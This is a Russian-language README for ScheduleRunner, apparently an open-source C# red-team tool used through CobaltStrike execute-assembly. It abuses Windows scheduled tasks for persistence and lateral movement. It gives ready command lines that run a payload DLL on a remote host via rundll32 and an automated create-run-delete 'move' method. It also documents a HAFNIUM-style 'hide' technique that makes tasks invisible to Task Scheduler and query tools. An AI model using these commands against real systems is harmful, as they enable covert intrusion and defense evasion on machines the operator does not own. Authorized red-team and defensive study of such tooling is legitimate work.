
Инструмент на C# с большей гибкостью для настройки запланированных задач как для сохранения постоянства (persistence), так и для латерального перемещения в ходе операций красной команды.
Запланированная задача — одна из самых популярных атакующих техник за последнее десятилетие, и сейчас она всё ещё широко используется хакерами/участниками red team для обеспечения персистентности и бокового перемещения.
Ряд инструментов на C# уже был разработан для симуляции атаки с использованием запланированных задач. Я экспериментировал с некоторыми из них, но каждый имеет свои ограничения в настройке запланированных задач. Поэтому этот проект направлен на создание инструмента на C# (совместимого с CobaltStrike execute-assembly), который включает необходимые мне возможности и обеспечивает достаточную гибкость при настройке запланированных задач.

| Метод | Функция |
|---|---|
| create | Создать новую запланированную задачу |
| delete | Удалить существующую запланированную задачу |
| run | Выполнить существующую запланированную задачу |
| query | Запросить подробности о запланированной задаче или обо всех запланированных задачах в папке |
| queryfolders | Запросить все подпапки в запланированных задачах |
| move | Выполнить боковое перемещение с помощью запланированной задачи (автоматически создать, выполнить и удалить) |
[*] обязательные поля.
[*] обязательные поля.
| Метод | Функция |
|---|---|
| [*] /taskname | Укажите имя запланированной задачи |
| /folder | Укажите папку, где хранится запланированная задача (по умолчанию: \) |
| /remoteserver | Укажите имя хоста или IP-адрес удаленного компьютера |
[*] обязательные поля.
| Метод | Функция |
|---|---|
| /taskname | Укажите имя запланированной задачи |
| /folder | Укажите папку, где хранится запланированная задача (по умолчанию: \) |
| /remoteserver | Укажите имя хоста или IP-адрес удаленного компьютера |
[*] обязательные поля.
[*] обязательные поля.
Создать запланированную задачу с именем "Cleanup", которая будет выполняться каждый день в 23:30.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
Создать запланированную задачу с именем "Cleanup", которая будет выполняться каждые 4 часа на удаленном сервере
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
Удалить запланированную задачу с именем "Cleanup"
ScheduleRunner.exe /method:delete /taskname:Cleanup
Выполнить запланированную задачу с именем "Cleanup"
ScheduleRunner.exe /method:run /taskname:Cleanup
Запросить подробности о запланированной задаче с именем "Cleanup" в папке "\Microsoft\Windows\CertificateServicesClient" на удаленном сервере
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Запросить все запланированные задачи в указанной папке "\Microsoft\Windows\CertificateServicesClient" на удаленном сервере
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Запросить все подпапки в запланированных задачах
ScheduleRunner.exe /method:queryfolders
Выполнить боковое перемещение с помощью запланированной задачи на удаленный сервер, используя указанную учетную запись
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
Создать запланированную задачу с именем "Cleanup" с использованием техники скрытия запланированной задачи:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
Удалить запланированную задачу с именем "Cleanup", которая была создана с использованием техники скрытия запланированной задачи:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
Эта техника использовалась угрозой - HAFNIUM и недавно была обнаружена Microsoft. Она направлена на то, чтобы сделать запланированную задачу недоступной для запросов инструментами и невидимой для планировщика задач.
Для использования этой техники требуются права "NT AUTHORITY\SYSTEM", и ScheduleRunner сделает следующее:
Чтобы удалить запланированную задачу, созданную с помощью этой техники, необходимо добавить "/technique:hide" в метод delete для корректного удаления.
Задача будет продолжать выполняться до следующей перезагрузки системы, даже если она удалена через реестр. Поэтому лучше не использовать эту технику на сервере для вашей операции.

| Библиотека | Ссылка |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| Ссылка | Ссылка |
|---|---|
| SharpPersist | https://github.com/mandiant/SharPersist |
| Техника скрытия запланированной задачи | https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ |
| Метод | Функция |
|---|
| [*] /taskname | Укажите имя запланированной задачи |
| [*] /program | Укажите программу, которую выполняет задача |
| [*] /trigger | Укажите тип расписания. Допустимые значения: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" и "onidle" |
| /modifier | Укажите, как часто задача выполняется в рамках своего типа расписания. Применимо только для таких типов расписания, как "minute" (например, 1-1439 минут), "hourly" (например, 1-23 часа) и "weekly" (например, mon,sat,sun) |
| /starttime | Укажите время начала для ежедневного типа расписания (например, 23:30) |
| /argument | Укажите аргумент командной строки для программы |
| /folder | Укажите папку, где хранится запланированная задача (по умолчанию: \) |
| /workingdir | Укажите рабочий каталог, в котором будет выполняться запланированная задача |
| /author | Укажите автора запланированной задачи |
| /description | Укажите описание запланированной задачи |
| /remoteserver | Укажите имя хоста или IP-адрес удаленного компьютера |
| /user | Запустить задачу от имени указанной учетной записи |
| /technique | Укажите технику обхода: - "hide": Техника, используемая вредоносным ПО HAFNIUM, которая скрывает запланированную задачу от запроса задач [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] Эта техника не поддерживает удаленное выполнение из-за привилегий удаленного реестра. Требуются права "NT AUTHORITY\SYSTEM", и задача будет продолжать выполняться до перезагрузки системы даже после удаления задачи |
| Метод | Функция |
|---|
| [*] /taskname | Укажите имя запланированной задачи |
| /folder | Укажите папку, где хранится запланированная задача (по умолчанию: \) |
| /remoteserver | Укажите имя хоста или IP-адрес удаленного компьютера |
| /technique | Укажите, когда запланированная задача была создана с использованием техники обхода: - "hide": Удалить запланированную задачу, созданную с помощью техники "скрытие запланированной задачи" [!] Для удаления требуются права "NT AUTHORITY\SYSTEM", и задача будет продолжать выполняться до перезагрузки системы даже после удаления задачи |
| Метод | Функция |
|---|
| [*] /taskname | Укажите имя запланированной задачи |
| [*] /program | Укажите программу, которую выполняет задача |
| [*] /remoteserver | Укажите имя хоста или IP-адрес удаленного компьютера |
| /trigger | Укажите тип расписания. Допустимые значения: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" и "onidle" |
| /modifier | Укажите, как часто задача выполняется в рамках своего типа расписания. Применимо только для таких типов расписания, как "minute" (например, 1-1439 минут), "hourly" (например, 1-23 часа) и "weekly" (например, mon,sat,sun) |
| /starttime | Укажите время начала для ежедневного типа расписания (например, 23:30) |
| /argument | Укажите аргумент командной строки для программы |
| /folder | Укажите папку, где хранится запланированная задача (по умолчанию: \) |
| /workingdir | Укажите рабочий каталог, в котором будет выполняться запланированная задача |
| /author | Укажите автора запланированной задачи |
| /description | Укажите описание запланированной задачи |
| /user | Запустить задачу от имени указанной учетной записи |